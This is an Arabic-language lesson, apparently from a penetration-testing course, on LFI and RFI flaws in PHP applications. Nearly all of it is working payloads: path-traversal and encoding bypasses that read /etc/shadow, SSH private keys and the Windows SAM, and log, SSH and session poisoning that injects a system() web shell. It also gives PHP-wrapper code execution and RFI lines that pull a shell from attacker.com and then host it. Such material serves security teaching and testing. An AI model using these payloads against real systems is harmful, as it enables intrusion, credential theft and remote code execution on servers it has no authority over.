هجمات تطبيقات الويب
ثغرات تضمين الملفات (LFI/RFI)
5 دقيقة للقراءة
ثغرات تضمين الملفات تسمح للمهاجمين بقراءة ملفات حساسة أو تنفيذ كود خبيث. هذه شائعة في تطبيقات PHP.
فهم تضمين الملفات
تضمين الملفات المحلي (LFI)
LFI يسمح بقراءة ملفات من الخادم المحلي:
// كود ضعيف
<?php include($_GET['page']); ?>
// الاستخدام العادي
https://target.com/index.php?page=about.php
// هجوم LFI
https://target.com/index.php?page=../../../etc/passwd
تضمين الملفات البعيد (RFI)
RFI يسمح بتضمين ملفات من خوادم بعيدة:
// كود ضعيف (يتطلب allow_url_include=On)
<?php include($_GET['page']); ?>
// هجوم RFI
https://target.com/index.php?page=http://attacker.com/shell.php
اختبار LFI الأساسي
اجتياز المسار
?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=..%252f..%252f..%252fetc%252fpasswd
?page=/etc/passwd
تجاوز Null Byte (PHP < 5.3.4)
?page=../../../etc/passwd%00
?page=../../../etc/passwd%00.php
الملفات الشائعة للقراءة
Linux:
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/auth.log
/home/user/.ssh/id_rsa
/home/user/.bash_history
Windows:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\Windows\win.ini
C:\boot.ini
C:\inetpub\wwwroot\web.config
C:\xampp\apache\logs\access.log
ملفات خاصة بالتطبيق
# تكوينات الويب
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
# Apache
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
# Nginx
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
من LFI إلى تنفيذ كود عن بعد
تسميم السجل
الخطوة 1: تسميم السجل
# سجل وصول Apache
curl "http://target.com" -A "<?php system(\$_GET['cmd']); ?>"
# أو عبر netcat
nc target.com 80
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: target.com
الخطوة 2: تضمين السجل المسمم
?page=../../../var/log/apache2/access.log&cmd=id
?page=../../../var/log/apache2/error.log&cmd=id
تسميم سجل SSH
# تسميم auth.log عبر SSH
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# تضمين السجل
?page=../../../var/log/auth.log&cmd=id
تسميم جلسة PHP
# الجلسات مخزنة في /tmp/sess_<PHPSESSID>
# حقن كود PHP في متغير جلسة
# تضمين ملف الجلسة
?page=../../../tmp/sess_<your_session_id>
/proc/self/environ
# إذا كان User-Agent يُسجل في environ
curl "http://target.com/vuln.php?page=../../../proc/self/environ" -A "<?php system('id'); ?>"
مُغلِّفات PHP
php://filter (قراءة الكود المصدري)
# قراءة مصدر PHP كـ base64
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=index.php
# فك تشفير الإخراج
echo "base64_output" | base64 -d
php://input (RCE إذا كان allow_url_include=On)
# POST كود PHP
curl -X POST "http://target.com/vuln.php?page=php://input" --data "<?php system('id'); ?>"
data:// (RCE إذا كان allow_url_include=On)
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
مُغلِّف zip://
# إنشاء zip خبيث
echo "<?php system('id'); ?>" > shell.php
zip shell.zip shell.php
# رفع zip ثم تضمين
?page=zip://uploads/shell.zip%23shell.php
مُغلِّف phar://
?page=phar://uploads/shell.phar/shell.php
تجاوز الفلاتر
فلاتر الامتداد
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=..%252f..%252f..%252fetc%252fpasswd (ترميز مزدوج)
?page=....\/....\/....\/etc/passwd
?page=/var/www/html/../../../etc/passwd
اقتطاع المسار (PHP < 5.3)
# أقصى طول مسار PHP هو 4096 بايت
?page=../../../etc/passwd/./././././<كرر حتى 4096>
تضمين الملفات البعيد
RFI الأساسي
?page=http://attacker.com/shell.txt
?page=http://attacker.com/shell.php
?page=ftp://attacker.com/shell.php
تجاوزات RFI
# Null byte
?page=http://attacker.com/shell.txt%00
# ترميز URL مزدوج
?page=http%253A%252F%252Fattacker.com%252Fshell.txt
استضافة الحمولة
# على جهاز المهاجم
echo "<?php system(\$_GET['cmd']); ?>" > shell.txt
python3 -m http.server 80
# تشغيل RFI
http://target.com/vuln.php?page=http://attacker-ip/shell.txt&cmd=id
سير عمل اختبار LFI/RFI
1. تحديد نقاط تضمين الملفات
└── معاملات مثل page=، file=، include=
2. اختبار LFI الأساسي
└── ../../../etc/passwd
3. تجربة تقنيات التجاوز
└── الترميز، null bytes، اقتطاع المسار
4. اختبار مُغلِّفات PHP
└── php://filter للكود المصدري
5. محاولة RCE عبر LFI
└── تسميم السجل، مُغلِّفات PHP
6. اختبار RFI
└── فقط إذا كان allow_url_include=On
في الدرس التالي، سنغطي ثغرات رفع الملفات والتجاوزات. :::